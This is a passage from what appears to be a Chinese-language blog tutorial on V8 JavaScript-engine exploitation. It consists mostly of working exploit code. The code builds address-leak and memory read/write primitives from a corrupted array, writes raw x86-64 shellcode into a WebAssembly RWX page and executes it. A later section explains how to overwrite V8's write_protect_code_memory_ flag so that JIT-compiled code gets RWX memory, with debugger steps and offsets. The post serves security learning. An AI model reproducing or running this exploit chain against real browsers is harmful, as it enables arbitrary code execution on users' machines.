let evil_elem_addr = helper.ftoil(victim[0x24]);
let double_map = helper.ftoil(victim[0x23]);
let double_proto = helper.ftoih(victim[0x23]);
victim[0x24] = helper.i64tof64((0x1000n << 32n) | BigInt(evil_elem_addr));
console.log(evil.length);
 
let obj_arr = [{}];
let obj_arr_map = helper.ftoil(evil[0x12]);
let obj_arr_proto = helper.ftoih(evil[0x12]);
// %DebugPrint(obj_arr);
 
function get_addr(x) {
  obj_arr[0] = x;
  evil[0x12] = helper.i64tof64(
    (BigInt(double_proto) << 32n) | BigInt(double_map),
  );
  let res = helper.ftoil(obj_arr[0]) - 1;
  evil[0x12] = helper.i64tof64(
    (BigInt(obj_arr_proto) << 32n) | BigInt(obj_arr_map),
  );
  return res;
}
 
function limited_read(x) {
  evil[0x12] = helper.i64tof64(
    (BigInt(double_proto) << 32n) | BigInt(double_map),
  );
  evil[0x13] = helper.i64tof64((2n << 32n) | (BigInt(x) - 8n) | 1n);
  let res = helper.f64toi64(obj_arr[0]);
  evil[0x12] = helper.i64tof64(
    (BigInt(obj_arr_proto) << 32n) | BigInt(obj_arr_map),
  );
  return res;
}
 
function limited_write(x, data) {
  evil[0x12] = helper.i64tof64(
    (BigInt(double_proto) << 32n) | BigInt(double_map),
  );
  evil[0x13] = helper.i64tof64((2n << 32n) | (BigInt(x) - 8n) | 1n);
  obj_arr[0] = helper.i64tof64(data);
  evil[0x12] = helper.i64tof64(
    (BigInt(obj_arr_proto) << 32n) | BigInt(obj_arr_map),
  );
}
 
let ab = new ArrayBuffer(0x1337);
let ab_helper = new DataView(ab);
let buf_backing_store_addr = get_addr(ab) + 0x14;
helper.printhex(buf_backing_store_addr);
// %DebugPrint(ab);
 
let exp = () => {
  let wasm_code = new Uint8Array([
    0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3,
    130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131,
    128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128,
    128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0,
    0, 10, 142, 128, 128, 128, 0, 1, 136, 128, 128, 128, 0, 0, 65, 239, 253,
    182, 245, 125, 11,
  ]);
  let wasm_module = new WebAssembly.Module(wasm_code);
  let wasm_instance = new WebAssembly.Instance(wasm_module);
  let func = wasm_instance.exports.main;
  let wasm_instance_addr = get_addr(wasm_instance);
  let func_addr = get_addr(func);
  // %DebugPrint(wasm_instance);
  // %DebugPrint(func);
  // %SystemBreak();
 
  let rwx_addr = limited_read(wasm_instance_addr + 0x68);
  helper.printhex(rwx_addr);
  // %SystemBreak();
 
  let shellcode = [
    0x10101010101b848n,
    0x68632eb848500101n,
    0x431480169722e6fn,
    0xf631d231e7894824n,
    0x50f583b6an,
  ];
 
  limited_write(buf_backing_store_addr, rwx_addr);
  for (let i = 0; i < shellcode.length; i++) {
    ab_helper.setBigInt64(i * 8, shellcode[i], true);
  }
 
  func();
};
 
exp();

利用 JIT 优化后的函数获得 RWX 内存

Info

这是一个很有趣的技巧,虽然在最新版本控制新分配堆空间的 flag 位置已经不在 V8 堆上了,但也值得学习一下:

  • 定位 write_protect_code_memory_ 变量位置(在题目版本源码下):

首先定位到设置该变量的代码位置,这个布尔值在 /v8/new_v8/v8/src/heap/heap.h:2037 中被声明为 false,在 /v8/new_v8/v8/src/heap/heap.cc:5377 中被使用,故可以把断点打在 heap.cc:5377 上:

In file: /v8/new_v8/v8/src/heap/heap.cc:5377
   5372   if (FLAG_stress_scavenge > 0) {
   5373     stress_scavenge_observer_ = new StressScavengeObserver(this);
   5374     new_space()->AddAllocationObserver(stress_scavenge_observer_);
   5375   }
   5376
5377   write_protect_code_memory_ = FLAG_write_protect_code_memory;
   5378 }
   5379
   5380 void Heap::InitializeHashSeed() {
   5381   DCHECK(!deserialization_complete_);
   5382   uint64_t new_hash_seed;

在当前的命名空间下,就可以直接用 p &write_protect_code_memory_ 指令找到该标志位的地址,计算出它在 V8 堆上的相对偏移,我本地得到的偏移是 0x9a08

  • 触发 JIT 获得 RWX 内存:

接下来仅需构造:

let exp = () => {
  function jit_func() {
    return [0.1];
  }
 
  limited_write(0x9a08, 0n);
 
  for (let i = 0; i < 0x400000; i++) {
    jit_func();
  }
}

此时就已经获得了 RWX 权限的 JIT 内存,再用任意读写去获得 jit_func 地址就能根据偏移算出 JIT 内存的位置,最终实现利用。

不过这里经过 JIT 优化的过程中也触发了 gc,弄乱了原先的内存布局,因此需要重新构造任意读写。


Todo

这篇博客作为 V8 漏洞利用的入门至此就结束了,后面会结合 GC、JIT(turbofan / maglev)、wasm、SBX 等不同知识点进行更深入的学习。


References

  1. Exploiting CVE-2021-21225 and disabling W^X . tiszka
  2. v8 pwn入门篇利用合集 . XiaozaYa
  3. Chrome v8 pwn . sky123
  4. V8 沙箱绕过 . Jayl1n
  5. Chaos me JavaScript V8 . TokameinE